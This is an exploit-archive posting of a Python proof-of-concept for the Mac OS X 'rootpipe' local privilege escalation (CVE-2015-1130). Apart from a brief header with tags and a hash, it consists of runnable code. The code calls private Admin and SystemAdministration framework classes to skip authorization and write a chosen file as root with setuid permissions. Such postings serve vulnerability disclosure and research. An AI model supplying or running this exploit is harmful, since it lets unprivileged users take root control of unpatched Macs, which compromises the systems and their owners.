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Mac OS X rootpipe Local Privilege Escalation

Mac OS X rootpipe Local Privilege Escalation
Posted Apr 9, 2015
Authored by Emil Kvarnhammar

Mac OS X rootpipe local proof of concept privilege escalation exploit.

tags | exploit, local, proof of concept
systems | apple, osx
advisories | CVE-2015-1130
SHA-256 | 146b64bdac5816f848302abe5d0ad8a8ac00a1ef2eb064fcfcdd3a63453c2ee0

Mac OS X rootpipe Local Privilege Escalation

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########################################################
#
# PoC exploit code for rootpipe (CVE-2015-1130)
#
# Created by Emil Kvarnhammar, TrueSec
#
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool

def load_lib(append_path):
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);

def use_old_api():
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])


args = sys.argv

if len(args) != 3:
print "usage: exploit.py source_binary dest_binary_as_root"
sys.exit(-1)

source_binary = args[1]
dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():
adm_lib = load_lib("/Admin.framework/Admin")
Authenticator = objc.lookUpClass("Authenticator")
ToolLiaison = objc.lookUpClass("ToolLiaison")
SFAuthorization = objc.lookUpClass("SFAuthorization")

authent = Authenticator.sharedAuthenticator()
authref = SFAuthorization.authorization()

# authref with value nil is not accepted on OS X <= 10.8
authent.authenticateUsingAuthorizationSync_(authref)
st = ToolLiaison.sharedToolLiaison()
tool = st.tool()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
client = WriteConfigClient.sharedClient()
client.authenticateUsingAuthorizationSync_(None)
tool = client.remoteProxy()

tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)


print "Done!"

del pool

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